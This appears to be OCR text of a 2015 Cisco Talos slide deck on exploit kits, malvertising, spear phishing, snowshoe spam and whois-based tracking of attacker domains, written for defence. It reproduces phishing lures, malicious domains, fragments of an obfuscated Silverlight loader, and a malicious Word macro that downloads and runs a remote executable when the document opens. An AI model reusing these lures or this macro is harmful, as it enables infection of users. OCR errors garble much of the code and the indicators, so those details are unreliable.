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e Spear
Phishing with - HeartBleed
0-day - ShellShock

° Malvertising Sponsored

* Angling for Attacks

Exploitation — Group 72
. Di it — Wiper
Rig Exploit Kit Malware

« Stanand Kyle — Cryptowall 2.0

* Snowshoe
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Welcome to the Machine Y

Talos Development

Talos Intelligence

Talos Detection R&D

Talos Vulnerability R&D

Talos Outreach

BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public



Talos Detection Content TdLOS

['-'—'—' NGFW

Cloud‘]

NGIPS g ]

Ay,

WSA @Y ]

>

[ AMP E




P CUNEEREREE N |\ e R R

Common Goals
Pissing Off The Bad Guys —A Good Thing™

* Blacklisted Domains * Published NGIPS Detection
— Malware Downloaders — Tools Activity
- C&C — C & C Activity
— Domains for Tools — Gave it to the Community — Free, Gratis,
— eMail & Web Nada
- Blacklisted Address Space * Published AV Detection
— For Malware — Tools
—ForC&C — Malware
— For their Tools — AMP

Cisco (l Vf/
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Phishing on the Next Level...

Attack began April 24, 2014
Initially a highly targeted spear phishing campaign

Zero day exploit, compromise upon clicking

* Our data immediately lead us to additional attacks

Found on line 63231; () 658598409 ,1, "fe7ac675060e204799253be7dect60c7" "
Found on line 65800; () 658598576, 1, "Sdfcccc?ch5d02e3d520240c46719363" "
Found on line 6141806; () 658867547,1,"F20478de33be87047d58al6ef8b%0bb" "
Found on line 7447623; () 658916075,1, "070f0054f11e490e1763701b20f d41bd" "

Found on line 7447655: () 658916875,1,"f29478de33be87d47d58a16e 8000bb" , "

(658598409, 658598576, 658867547, 658916075, 658916075)
dhcp-10-128-24-732;URTs apelkmann$ mv query_result,csv query_resultl@mil5,csv
dhep-10-128-24-232:URTs apelkmann$ python regex,py

Found on line 4370154: () 659213981,1,"fc337eed3Z17F0815ce159205111406b" "
Found on line 5674302: () 659268137,1,"ddf4906dd554db204c81872e0b75403d" "

BRKSEC-2010 © 2015 Cisco and/oritsaffiliates. All rightsreserved. Cisco Public 9



4P CUNEEAEEE N\ | g e ] R O

Indicators of Compromise (I0OC)

* Subjects:
— Welcome to Projectmates!
— Refinance Report
— What's ahead for Senior Care M&A
— UPDATED GALLERY for 2014 Calendar Submissions

* Associated Domains
— http://profile.sweeneyphotos.com
— http://web.neonbilisim.com
— http://web.usamultimeters.com
— http://inform.bedircati.com

Cisco (l Vf/
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Convincing Phish

Subject: Welcome to Projectmates!

Unfiltered | UTF-8 [utf-8]

Dear I

An email has been sent to the site administrator about your registration. You will receive an email when bid access is granted by site
administrator.

For your records, your username and passwords are as follows:

Your username is: [ GG

Your password is: JKSITHBBENZ

NOTE: If this is an auto generated or administrator assigned password. It is highly recommended you change your password after
logging in. Once logged in, click on "My Profile" to change your password.

Cisco (l V&/
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Convincing Phish

Date: Fri Apr 25 13:20:19 2014

From: Sarah.l.More <Smore@theadvocacycenter.org>
Tor ]

original Sender: [ NNGTTNNGNGNGEGEGEE

Subject: Refinance Report

Unfiltered | UTF-8 [utf-8]

Dear All:

Spring is officially here and coincidentally, so is the Federal Housing Finance Agency’s April 2014 Refinance Report. To view the report, click on the
link below.

[April Refinance Report][1]

As always, feel free to contact me should you have questions.

Sarah More

Cisco (l V&/
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Anatomy of an Exploit

* |E wulnerability that uses JavaScriptto cause exploitation

Cisco (l V&/
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Anatomy of an Exploit

* Whereis it..

BRKSEC-2010

5 Main ext

1=

ount:int;
ent: Function;

EEEEEEE

EEE‘E'E

© 2015 Cisco and/or its affiliates. All rightsreserved.
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Anatomy of an Exploit - Conclusion

Targeted Phishing Campaignusing a 0-day
— Exploit NOT obfuscated!

Advanced obfuscation of payload

Seemedto focus on manufacturing and industrial vertical

Patch eventually released

Cisco (l V&/
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Sharing /

Cisco (l Vf/

Cisco Public
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[ 1

User 1

D \-;ome.News.Site.com

User 2

@‘1‘?’

PARTNER

T

s
=
\

X

.

\_} O Exploit Pack

landing page

Some.Video.Site.com

© 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public 18
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The Normal Web

verisign.com.

facebooharthemt.com.
! ot {

insightex

chartb@at.net.

data

www.cnp.com

localdomain.
localhost >

z.cdn. tueqer.com

turne@com.

scorecardra@earch.com.

BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Publ

convertro.com.
sp1.convertro.com

ddson@.com.
/

2mdmnet.
so_2@Mestionm@arket.com.

afnch.questef

ic

cnn.com:

26 domains
39 hosts

171 objects

557 connections

Cisco (lVf/
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Threat: Malvertising

Top Stories

Malware Hidden Here! Hope you patched :)

BBC News - 15 minutes ago

Splashdown! Orion spaceship aces first flight test inland Empire News
The different angles of Orion's launch Usa TODAY

Trending on Google+: Orion splashes down after first, 2-orbit test flight crn
Opinion: NASA: 'There's your new spacecraft, Americal” Boston Herald
In Depth: Orion passes test flight with flying colors {+video) Christian Science Monitor

See realtime coverage »

2015 Grammy Nominations: Joan Rivers Receives a Posthumous Nomination

ABC News - 16 minutes ago

Grammys 2015: Sam Smith, Beyonce lead nominations so far Los Angeles Times
Analysis: Sam Smith rakes in Grammy nods USA TODAY

Trending on Google+: 2015 Grammy Mominations Announced: Miley Cyrus, Beyonce, Ariana Grande ... E! Online
Live Updating: 2015 Grammy Mominations: Live updates, reaction, full nominees list and more cleveland.com

See realtime coverage »

Cisco [l Vfrl
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A Match I\/Iade In Heaven, Malvertlsmg
Exploit Kits and Dynamic DNS
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Fiesta Exploit Kit

» January of 2014 alone over 300 companies affected

* Drive by download attack

D_ User navigates ’ m iframe redirects ’ o Browser plugins

to exploit kit detected and
landing page vulnerabilities
exploited

4

@ User served

to website < malicious file

Cisco [l Vfrl
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Fiesta Exploit Kit

* Maliciousfile types for all web content since mid-december 2013

3108

File type
| IREVERAIAGY

Octet-stream
EXE

. Shockwave-flash
Silverlight

M FoF

17.15%

BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public 23
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Fiesta Exploit Kit

magic content type
B JavaUAR)

Octet-stream
EXE

. Shockwave-flash
Silverlight

M rorF

Cisco (l pr/
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Fiesta Exploit Kit

Troj/VBDrop-ATMal/JNLP-A  Trojan.Win32.Inject.gytk
Trojan.Win32.Inject.hhkp  Tro)/VB-GYS

Trojan.Win32.Inject.gyxb HEUR:EXploit.Java.Generic
Mal/Generic-L Troj/JavaBz-RM

HEUR:Exploit.Java.Generic
“Troanwinaz mect sz N |/ E XpJ S-S

Troj/JavaBz-RM
Troj/ExpJs-KV Tro)/SWFEXxp-CG Troj/PDFJS-AFE

Cisco [l Vfrl
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Fiesta Exploit Kit

. S

Cisco (‘ Vfc/
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Dynamic DNS

Dynamic IP address changed

‘203.0.113.6 ’ ‘203.0.113.2\
N
4.

. |
1. Host informs DDNS server ‘
of current IP

DDNS server

9 2. User requests IP of 9

example.ddns-provider.com

and DDNS server returns
current IP
3. User connects to

™ example.ddns-provider.com e ——— N

BRKSEC-2010 CiSCO ((Vgll

© 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public 27
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Fiesta Exploit Kit— Dynamic DNS

A total of 6 IP addresseswere responsible for hundreds of dynamic hosts

]

w

2 ®h

ol opto.org

£ " myftp.org

= @ myvnc.com

a @ no-ip.biz
@ no-ip.info
@ no-ip.org

Cisco (‘ Vf:/

BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public 28



\ -

& VAR, N WS N

Ak

T A

Dynamic Detection of Malicious DNS - Reputation

DDNMS base domains

Cisco (lVf/
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Dynamic Detection of Malicious DNS — AV Blocks

DDMS base domains

20
10 —

5 —

- ka

Baseline
—)

net
net
m
net
m
m
org
bi
om

E EETEFEEEEEREIEEEEEEEEE R [
i fgssft: fi§ii§iefysiet ;
8 & = £ £ g g
i geg§=§a=giwﬁg§zigﬁég f Cisco["/fr
BRKSEC-2010 30 g
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Dynamic Detection of Malicious DNS

« What are we blocking with AV?

B Trojan.Js Redirector.cq

I HEUR: Trojan-Downloader. Script Generic
B HEUR: Trojan_Script Generic

B HEUR:Exploit Java CVE-2012-1723.gen
B HEUR:Trojan_Script ramer

B HEUR:Exploit.Java.Generic

| HEUR:Exploit Java CVE-2012-0507 gen
B HEUR:Exploit. Java C\VE-2013-0422 gen
| Trojan-Downloader )5S Iframe dee

I HEUR:Exploit Java CVE-2013-1493 gen

Cisco (‘ Vf:/

BRKSEC-2010 31
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Dynamic Detection of Malicious DNS

B DR\

&ﬁmm no- |p info T - adUItdnS netm
redirectme. netNO- |p orgmm zapto org
myvnc.com. ... e L e

- .  sytesnet nO Ip

HEBED.

oo )
gu.vgnui.ce [port2s.oE pee.pl z.cm

scmetoycom o TONEEOM gnery
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Mitigations

W eb security appliances/ Cloud Web security
* Reputationsystems
* Block some/all Dynamic DNS providers using RPZ

 Clientside protection
— Antivirus
— HIPS
— AMP Everywhere

Cisco (l V&/
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Angler Exploit kit

» Spreadingvia ad networks
* Hello Silverlight! CVE-2013-0074, CVE-2013-3896

% of Tetal Requests
a

&%
FL
2%
0% ' ' . ' ' . '
Apr 23 Apr 25 Apr 27 Apr 29 May 1 May 3 May S May 7 May 9 May 11 May 13
Crate [2014]

WSCisco[( Vfrl
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User navigates to
legitimate site

ShY N

Silverlight
vulnerability
exploited and

malware dropped

User served
malicious ad

E.G: fral.ib.adnxs.com/if?[.. J&referrer=htip%%3A
Th2F%2 Fwww jetairways.coml...]

~

Landing page
javascript loads
XOR encrypted
silverlight file

A

Ad performs
redirect to
compromised site

E.G: vellejaresearch.com/bi728x90.jpg?
ref=coolin

User redirected to
Angler landing

page

E.G: Orp3ac2mém.jawutozasoxppa.net/
aue0z01sat?

Cisco {f V&/



Stage Zero Examples:

fral.ib.adnxs.comSifrenc=MzMzMzMzwzxnenxkuy PS7wvpEBZLNS® sZ3ivpBZLvzE8zMzMzMzPDPBtKrDzCThIJF
ITFReANRGTtHCABGhTAAAAAFHSs JIwBoCAAAZACAAAT AAAC ]I EUUALlYAFAAAAADBVUBAVVNEANECKHECUdQAARoBAAEUA
AQIAAIWANC caaQAAAAA . Bend=%217yH Zwig ekBEKWllAcYACCVNRYwWADgAQABIZAS08diFAVEAYKWEaABwWAHE
ApAEAIAEAKAEEMAEBQAEBQAED s AEAUQEZzMzMzMzPDP BEEMzMzMzMzwz_ JAYAZRFAMaPE_Z20EAlAAAAALADWPABAPL
BmpmZPg. . Accd=%21TwYsQAjgq ekBEKW1llAcY1lZeWIAA.Budj=uf¥28%27a%27%2C+276362%2C+13993258808%
2O9NIBuTE2BR 2T CcHEITHIC+3833578E2C+1309093 25820 IBUFH 22BN 2T rE2 7E2C+15012517X2C+139932588a%
29%3B&vpid=1858Rapid=222734&referrer=httpXEIAX2FEZFads .mysupermarket.co.uk¥2Flandingpage
s¥2FtratficLandingPage .aspxE3Fcampaign¥3DtratficBmedia subtypes=1&ct=08&dlo=11

ib.adnxs.com/ttid=18647288&chb=&referrer=apunkabollywood . us&pubclick=1
Stage One Examples:

vellejaresearch.com/b/728x98.jpgfref=coplin

salsomaggioreconvention.com/b/728x298 . jpefref=coolin

Stage Two Examples:
ughkkrwue? . jawutozasoxppa.net/icBh22Zbytar?

ArnIacrg9meam. dTawntorasoxnna . net S ane@z@1sat?

Cisco (( V&/
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Number of Records

1
© 2000
© 4000
() so00
) s000
() 10000
y () 12261
Number of Records
1 12,261
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sf325gtgs7sfdfl)
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OW.

(i sf325gtgs7sfds
function getDomain()
ybcFwaOP1;
runat="server"” style="height: 180%"><div
‘><object data="data:application/x-silverlight-2,"
height="100%" ><param name="source
>{param name="1initParams

<form id="forml
dth="160%"

ybcFwaOP3
=2"" wi
getUrl()
/></object></div></form>");

Cisco (lVf/

[ 'writ + “te'](
l/E”l-gh+CCﬂt”CleS
pe="application/x-silverlight
getDomain()

'
/

getData()

ld— S1
Value="hffp y i
exteeec=

value="
Cisco Public

© 2015 Cisco and/or its affiliates. All rightsreserved
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1080063497 loc_1068683497:
1808063497 push eax
1808063498 push dword__10881825na
1888349E call connect
1886834048 mov edx, (offset loc__1886834E4+1)
180868348A9 inc edx
188083400 cmp eax, BFFFFFFFFh
108834AD jnz short loc_ 1886834B1
B | 1
h 4 h 4
[ ! [
188834AF push edx 106883481
1886834B08 reltn 1868834B1 loc__1886834B1:
10806834B1 inc byte 100683 0B
10086834B7 mov ecx, OBFFFE31Fh
100634BC dec ecx
188634BD add ecx, 826Dh
188634C3 sub edx, 37DDanah
18686834C29? push 2Ch
188634CB push ecx
188834CC push dword_1881825A
1868834D2 call do ws2 32 send
1886834D7 push (5}
1806834D9 push 3AaASh
1808083 4DE call sleep
18003 4EL
160034E4 loc__10686034E4¢
16806634E4 jmp short loc_ 1808635106
3 |
J0.00% {(—4Z ,2716) {1240_,368) UNKNOWN 1l000352Z8: do network stuff+ZsSs

-D_-] Hex View-1

BB865 4B 61 65 61 74 65 72 2E 6D 65 2E 75 6B 66 SE 4Aa SE aeater . .me .uk . " JA
BOoB6558 F9 98B 60 24 S5F 4D 6D 27 5B 61 65 24 1A 60 66 0606 ¢S Mm*[aeSJ. ..
BBB6568 868 6E 73 39 2E 63 61 72 F2 6F 741 70 69 7Aa 7A 61 -ns9 _carrotpizza
BB86578 65 61 74 65 72 2E 6D 65 2E 75 6B 80 88 86 oo @68 eater .me .uk
BOOB6588B GE 1 81 68 8686 81 86 686 868 88 86 88 O7 4HF 13 37 o
BBO6598B 85 68 29 85 D5 F3 F7 6D 52 CF DF B7 AS 9E 868 86 --).+=EmR— +HP._._
PBBB65AB 86 66 86 66 87 24 ©B1 8696 86 866 86 80 8668 866 868 806 N e
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Blocking the Campaign

7 unique Silverlight payloads

5 unique Anglerdroppers

IOC City

— Linked to >650 domains

— 21 Hotmail addresses

— Way too many to list here go view the blog @ http://blogs.cisco.com/tag/trac/

Multiple vulnerabilities being exploited..

Cisco (l V&/
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Rig Exploit Kit

» Advertised on criminal forumsin April

» Began blocking April 24
— Blocked over 90 domains
— 17% of all CWS customers affected
— Distributed Cryptowall

* Yet another exploit kit continuing the trend of silverlight exploits
— Silverlight: CVE-2013-0074
— Java: CVE-2013,2465, CVE-2012-0507
— Flash: CVE-2013-0634

Cisco (l Vf/
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Requests to Rig Landing Page

%
wN
"

o

% of Totel Rogoedts

o 25 A 2T g 29 May 1 Moy 3 My 5 May 7 May & May 11 May 13 May 15 ey 17 Moy 19

e - ulSCO[l Vfr
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Content Type

content
B sppication/octet-stream

B copication/x-gzip
B sovkcation/xsilveright
M spplicationx-zip

B8.24%

47 80%

0.55%

vl
isco Il %4,
BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public 45
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Mitigations

Over 26 maliciousfiles examined
>19010Cs

IPS

— Silverlight: CVE-2013-0074

— Java: CVE-2013,2465, CVE-2012-0507
— Flash: CVE-2013-0634

W eb Security Appliance
Cloud Web Security

Cisco (l V&/
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Kyle & Stan Malvertising Campaign

Key Metrics

.. i i 9541 Connections
« Malicious ads served on major websites such as Amazon, observed

Yahoo, and YouTube .
703 malicious

_ _ . o domains
« Malware disguised as a legitimate application Identified

74 large websites
served this
Malvertisement

10,000 10,000

1,000 1,000
100 I I I 100
10 10

I I I - L - L-l | | i [~

May June July August
2014

BRKSEC-2010 © 2015 Cisco and/oritsaffiliates. All rightsreserved. Cisco Public
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Example Attack Sequence R

. ttb.newallsoft.com
http://javaapx.com/ neallaR I ea
us/down.php

Redirect download/request/
52a098...

Slow Mac?

=/ (3 MacKeeper will Clean and
& > Speed Up Your Mac in a

single click.

™\

Windows or Mac?
Do you want to Clean Up your Mac Now?

looYes | | No |

ADVERTISEMENT

1 Mew Player install progress

=

Welcome to the New Player Setup Wizard

Follow the on-screen instructions outlined in this wizard te install the new

version of Mew Player and benefit from all the latest features and updates New
Player has to offer

Please to continue with the installation select your desired option:

& Express (recommended)

Install the latest version of New Player in less steps and absolutely free. With the
express option you are accepting the instalation of the folowing recommended
aplications: Accepting these offers allows us to promote our software completely free
of cost.

MPlayerX.dmg on: Malware on:

€ Custom installation (expert)

http:// :
Acceptance of Terms of Use Users must read Ihe present terms of use of the installer. p-/i http//
The use of or access to this webpage implies the acknowledgement and the full (= o] > al
acceptance of legal notices and conditions that are hereinafter detailed. Likewise, the P ull.freetorremt.m Y
access and use of services provided to users by the installer may be subject to special

g kyle.mxp4021.com
&product_name=N ASVEALIG::
ay X

By dlicking Next, you agree to the following terms and conditions Costmin EresSoRTodey Vuuce
Ootimizer Fro Compete MyPeBaciup

vl
Cisco (l %4,
BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public
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Mitigations

* 6941 domainsblocked
* Web Security Appliance
* Cloud Web Security

- AMP

BRKSEC-2010

© 2015 Cisco and/oritsaffiliates. All rightsreserved.

Cisco Public

AMP

51

CWS
ESA

Network
Security

WSA

Cisco (l Vfrl
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The Spam Landscape

LA VRN e 000 e

SpamCop Statistics

40

30

20

Messages per second

1@

|\'|'-I,"-""'1I N

(=]
Sep Oct Miow Dec Jdan
Ml Spam Submitted M Reports Sent
Average Spam 12.5 msgs per second Max Spam:

Total Spam (last year): 394266523 messages

¥

Feb Mar Apr May Juni Jul Aug

35.2 msgs per second

Mon Aug 18 0O7:32:01 EDT 2014

1801 / 700104

EERIE]

BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public
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The Spam Landscape
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The Spam Landscape

Other sender 53% 46%
Marketing sender 38% 37%
Snowshoe sender 7% 15%
Freemail sender 2% 2%

Spam broken down by Sender Type

Cisco [l Vfrl
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Why Do These Techniques Work?

« Anti-Spam, especially reputation based metrics for IP address,
IS a volume business.. Low volume senders are attemptingto
fly “under the radar”

 Domains are inexpensive and largely a disposable quantity

« Some anti-spam contentfilters can be foiled by highly dynamic content

« Some spammersare getting better at targeting their email, and
avoiding spamtraps

Cisco (lVf/
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Snowshoe Spam - Mitigations

Cisco Outbreak Filters
— 14 hour lead time over traditional AV

Delay Quarantine

Intelligent Multiscan
— More detection engines can detect more spam

Use DNS
— Look for hundreds of hostnames using a single IP or hundreds of IPs without hostnames

» Advanced Malware Protection (AMP)

* Webinar: http://cs.co/snowshoe

Cisco (l Vf/
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A Lovely Spearphish

BRKSEC-2010

Gesendet: Montag, 12. Mai 2014 10:59
Anc:
Betreff: WG: [Suspected Spam] RE: Freight Invoice Payment

----- Urspr=FCngliche Machricht-----

Von: MAESRK

Gesendet: Montag, 12. Mai 2014 @8:49

Betreff: [Suspected Spam] RE: Freight Invoice Payment

Dear 5ir,
The payment was made today.
Kindly check the attached freight payment from charterers.

Regards,

Maesrk

-=_002_71475DC4DBFB1B498C7BFCSB1943AFOARZFS290ADESDNOGO11bitze_

Content-Type: application/msword; name="2014-05.doc"

Content-Description: 2814-85.doc

Content-Disposition: attachment; filename="2014-85.doc";
creation-date="Mon, 12 May 2014 06:49:09 GMT";
modification-date="Thu, 15 May 2014 @8:31:39 GMT"

Content-ID: <13002BE94599C14DB11EE2310008D5508bitzer . biz>

Content-Transfer-Encoding: baset4

© 2015 Cisco and/oritsaffiliates. All rightsreserved. Cisco Public
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Tttribute VB_Name = “ThizDocument”
Attribute VE_Baze = "lHormal,ThiszDocunent™
Attribute YB_GlobalMameSpace = False
Attribute YB_Creatable = Fal=e
Attribute VB_PredeclaredId = True
Attribute YB_Expozed = True
Attribute VB_Templatelerived = Truoe
Attribute VEB_Customizable = True
Option Explicit
Private Declare Function UFLDownloadToFiled Lib "urlmon™ {ByYal MEHDMZ RAs Long, _—
ByYal LKTLIL As String, ByYal OQUSHWI Az String, By¥al YKSHWDF As Long, _
By¥al ICLAIK As Long} As Long
Sub Autolpen{)
Auto_Open
End Sub
Sub Auto_Open(}
PYLPRM
End Sub
Public Sub PYLPRH{}
YJHESL “"http:sfdl.,.dropboxuzercontent ., consss b2, exe”, Environ{“THP"} & "w=f joz jeri.exe”
End Sub
Function YJHESL{TMDEOE As String, OKEODE As String} As Boolean
Dim CPHSVYE A= Long
CPHSVE = URLDownloadToF ileA{0, TMDEOR, OKECDRE, 0, O
If CPHSVE = O Then YJHKSL = True
Din OKEIET
OKEBIBJ = Shell{OKRODRE, 13
End Function
Sub Horkbook _Open{
Aut.o_Open
End Sub

1.1 Top
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This Isn’t the First Time

timestamp

2014-05-26T11:49:50+00:00
2014-05-26T10:13:57+00:00
2014-05-26T10:13:27+00:00
2014-05-26T10:05:58+00:00
2014-05-26T10:05:23+00:00

url

londonpearl-uk.co/2/R.exe
londonpearl-uk.co/2/R.exe
londonpearl-uk.co/2/R.exe
londonpearl-uk.co/2/R.exe

londonpearl-uk.co/2/R.exe

BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public
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url_path
/2/R.exe
F2/R.exe
/2/R.exe
F2/R.exe
/2/R.exe

IR,

company_id
-
_—
-
-
-

Cisco (l pr/
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Something about these c2 Servers..

Domain ID:DBEZ2B4B7-AFIN

Domain Name:SELOMBIZNET.IN

Created On:18-Mar-2014 14:49:44 UTC

Last Updated On:20-May-2014 07:40:31 UTC

Expiration Date:18-Mar-2015 14:49:44 UTC

Sponsoring Registrar:Webig Domains Solutions Pvt. Ltd. (R131-

AFIN)

Status:CLIENT TRANSFER FROHIBITED

Registrant ID:WIQ 34706770

Registrant Wame:Logistics suery

Registrant Organization:adadans ltd

Registrant Streetl:23 Lake Street number 2 close off medical
road london,

Registrant
Registrant
Registrant
Registrant
Registrant
Registrant
Registrant
Registrant
Registrant
Registrant
Registrant

Streetl:

Streetl:

City:london
State/Province:Bournemouth
Poztal Code:W1l0 6LH
Country:GB
Phone:+44 . 0708765443
Fhone Ext.:

FAX:

FAX Ext.:

Email: mobday70E@gmail.com

Rdmin ID:WIQ 34706770

Admin Wame:Logistics suery

Rdmin Organization:adadans ltd

Rdmin Streetl:23 Lake Street number 2 close off medical road

london,

BRKSEC-2010

© 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public 63

Domaln name:

londonpaerl.co.uk

Registrant:
MediaServicePlus Ltd.

Registrant type:
Unknown

Registrant's address:
2 close medicle road
london
Bexley
DAS 1HND
United Kingdom

Cisco (l pr/
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More...
| Exactly Matching hd rmobday 7 0@gmail.com

' Expand Your Search domains
Narrow Your Search Search

Download Report Displaying results: 1 - 6 of 6 Prev Next
Domain Mame Create Date  Registrar
france2d.in 2014-05-08 -
hussainscan.com 2014-04-15 PDR LTD. OVEfA PUBLICDOMAINREGISTRY.COM
londonpearl-nk.co 2014-03-21 --
manualyures.com 2014-03-12 PDA LTD. D/B/A PUBLICDOMAINREGISTRY.COM
mylovekemy.in 2014-03-18 --
selombiznet.in 2014-03-18 --

Cisco [l V&/
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And More....
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2014-04-12

Domain Name: SUIWAIS.COM
Registry Domain ID:

Registrar WHOIS Server: whois.publicdomainregistry.com
Registrar URL: ww.publicdomainregistry.com

Updated Date: 10-Apr-2014

Creation Date: 10-Apr-2014

Registrar Registration Expiration Date: 10-Apr-2015
Registrar: POR Ltd. d/b/a PublicDomainRegistry.com
Registrar IANA ID: 303

Registrar Abuse Contact Email: iedomainregistry.com

Registrar Abuse Contact Phone: +1-2013775952
Domain Status: clientTransferProhibited
Registry Registrant ID: DI_34897616
Registrant Name: ham logistics
Registrant Organization: MediaservicePlus Ltd.
Registrant Street: 2 close medicle road
Registrant City: london

Registrant State/Province: Bexley
Registrant Postal Code: 600 001
Registrant Country: GB

Registrant Phone: +44.407088554382
Registrant Phone Ext:

Registrant Fax:

Registrant Fax Ext:

Registrant Email: mobday70fgmail.com
Registry Admin ID: DI_34897616

Admin Name: ham logistics

Admin Organization: Mediaserviceplus Ltd.
Admin Street: 2 close medicle road
Admin City: london

Admin State/Province: Sexley

Admin Postal Code: 600 001

Admin Country: G3

Admin Phone: +44.407088554392

Admin Phone Ext:

Admin Fax:

Admin Fax Ext:

Admin Email: mobday70&gmail.com
Registry Tech ID: DI_34897616

Tech Name: ham logistics

Tech Organization: MediaservicePlus Ltd.
Tech street: 2 close medicle road

Tech City: london

Tech State/Province: Bexley

Tech Postal Code: 600 001

Tech Country: G

Tech Phone: +44.407088554392

Tech Phone Ext:

Cisco Public 65
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2014-06-19

Domain Name: SUIWAIS.COM
Registry Domain ID:

Registrar WHOIS Server: whois.publicdemainregistry.com
Registrar URL: www.publicdomainregistry.com

Updated Date: 10-Jun-2014

Creation Date: 10-Apr-2014

Registrar Registration Expiration Date: 10-Apr-2015
Registrar: PDR Ltd. d/b/a PublicpomainRegistry.com

Registrar TANA ID: 303

Registrar Abuse Contact Email: iedomainregi
Registrar Abuse Contact Phone: +1-2013775952
Domain Status: clientTransferProhibited
Registry Registrant ID: DI_34897616
Registrant Name: ham logistics

Registrant Organization: MediaservicePlus Ltd.
Registrant Street: 2 close medicle road
Registrant City: london

Registrant State/Province: Bexley

Registrant Postal Code: 600 001

Registrant Country: GB

Registrant Phone: +44.407088554392

Registrant Phone Ext:

Registrant Fax:

Registrant Fax Ext:

Emails info.ee

Registry Admin ID: DI_34897616
Admin Name: ham logistics

Admin Organization: Mediaserviceplus Ltd.
Admin Street: 2 close medicle road
Admin City: london

Admin State/Province: Sexley

Admin Postal Code: 600 001

Admin Country: G3

Admin FPhone: +44.407088554392

Admin Phone Ext:

Admin Fax:

Admin Fax Ext:

Admin Email: davieesselonetfinfo.ee
Registry Tech ID: DI_34897616

Tech Name: ham logistics

Tech Organization: MediaServicePlus Ltd.
Tech street: 2 close medicle road

Tech City: london

Tech State/Province: Sexley

Tech Postal Code: 600 001

Tech Country: G8

Tech Phone: +44.407088554392

Tech Phone Ext:

try.com

Cisco [l Vfr
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Domain Name:
Domain ID:

sponsoring Registrar:
PUBLICDOMAINREGISTRY.COM

Sponsoring Registrar IANA ID:
Registrar URL (registration services):
Domain Status:

Domain Status:

Domain Status:

Domain Status:

Registrant ID:

Registrant Name:

Registrant Organization:

Registrant Addressl:
off medical rcad london,

Registrant City:
Registrant State/Province:
Registrant Postal Code:
Registrant Country:

Registrant Country Code:
Registrant Phone Number:
Registrant Email:

Registrant Application Purpose:
Registrant Nexus Category:
Administrative Contact ID:

Administrative Contact Name:

Admini Ccontact ization:

Administrative Contact Addressl:
off medical road london,
Administrative Contact City:
Administrative Contact State/Province:
Administrative Contact Postal Code:
Administrative Contact Country:
Administrative Contact Country Code:
Administrative Contact Phone Number:
Administrative Contact Email:
Administrative Application Purpose:
Administrative Nexus Category:

Billing Contact ID:

Billing Contact Name
Billing Contact Organization:

Billing Contact Addressl:
off medical road londem,

Billing Contact City:
Billing Contact State/Province:
Billing Contact Postal Code:
Billing Contact Country:
3illing Contact Country Code:
Billing Contact Phone Number:

HSBC- INTERNATTONAL.US
D41775839-US
PDR LTD. D/B/A

303
ww.publicdomainregistry
clientDeleteProhibited
clientiold
clientTransferprohibited
clientUpdateProhibited
DI_29668806

willias davies

Not Acceptable

2013-11-22

©

Domain Name:

9

Domain ID:

w

Sponsoring Registrar:
PUBLICDOMAINREGISTRY .COM

.com
Domain Status:
Domain Status:

@ v o o

Domain Status:
9 Domain Status:
10 Registrant ID:
11 Registrant Name:

12 Registrant Organization:

23 Lake Street number 2 close 13 Registrant Addressl:

mann
ohio

w10 6L

United States

us

+1.0708765443
selom708gmail.com
Fl

e11

DI_29668806

willias davies

Not Acceptable 25 | Rdmi ive contact

23 Lake Street number 2 close 26 Administrative Contact Addressl:
mann 27 Administrative Contact City:

Chio 28 Administrative Contact State/Province:
W10 6LH 29 Administrative Contact Postal Code:

United states

us

+1.0708765443
selom70ggmail.com

131

c11

DI_29668806

willias davies

Not Acceptable

23 Lake Street number 2

mann
Ohio

W10 6LH
United States
us
+1.0708765443

Cisco Public 66

14 Registrant City:
15 Registrant State/Province:
16 Registrant Postal Code:

17 Registrant Country:

18 Registrant Country Code:
19 Registrant Phone Number:
20 Registrant Email:

21 Registrant Application Furpose:

22 Registrant Nexus Category:
23 Administrative Contact ID:

24 Administrative Contact Name:

Sponsoring Registrar IANA ID:

Registrar URL (registration services):

30 Administrative Contact Country:
31 Administrative Contact Country Code:
32 Administrative Contact Phone Number:
33 Administrative Contact Email:

34 Administrative Application Purpose:

35 Administrative Nexus Category:

36 Billing Contact ID:
37 Billing Contact Name:

38 Billing Contact Organization:

close 39 Billing Contact Addressl:

40 Billing Contact City:

41 Billing Contact State/Province:

42 Billing Contact Postal Code:
43 Billing Contact Country:

44 | Billing Contact Country Code:
45 Billing Contact Phone Number:

HSBC- INTERNATIONAL. US
D41775839-US
POR LTD. D/B/A

303
winw, publicdomainregistry.com
clientDeleteProhibited
clientiold
clientTransferProhibited
clientUpdateProhibited
DI_29668806

DONALD FISHER

DONALD LTD

3218 N Lost Canyon way

louisiana
louisiana

70115

United States

us

+1.2088303766
selom?0€gmail.com
Pl

e11

DI_29668806
DONALD FISHER
DONALD LTD

3218 N Lost Canyon way

louisiana
louisiana

70115

United States

us

+1.2088303766
selom708gmail.com

1

c11

DI_29668806

DONALD FISHER

DONALD LTD

3218 N Lost Canyon way

louisiana
lonisiana
70115

United States
us
+1.2088303766

Cisco (l Vfr
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Whois Record | last updated on 2014-06-23 )

Domain WName: STARSHEM-EGY.COM
Even More < Iever Registry Domain ID: 1832021143 DOMAIN COM-VRSN

Registrar WHOIS Server: whois.publicdomainregistry.com

Registrar URL: www.publicdomainregistry.com

Updated Date: 17-Mar-2014

Creation Date: 22-0Oct-2013

Registrar Registration Expiration Date: 22-0ct-2014

Registrar: PDR Ltd. d/b/a PublicDomainRegistry.com

Registrar IANA ID: 303

Registrar Abuse Contact Email: abuse-contactépublicdomainregistry.com

Registrar Abuse Contact Phone: +1-2013775952

Domain Status: clientTransferProhibited

Registry Registrant ID: PP-SP-001

Registrant Name: Domain Admin

Registrant Organization: Privacy Protection Serwvice INC d/b/a PrivacyProte

ct.org

Registrant Street: C/0 ID#10760, PO Box 16 Note - Visit PrivacyProtect.org

to contact the

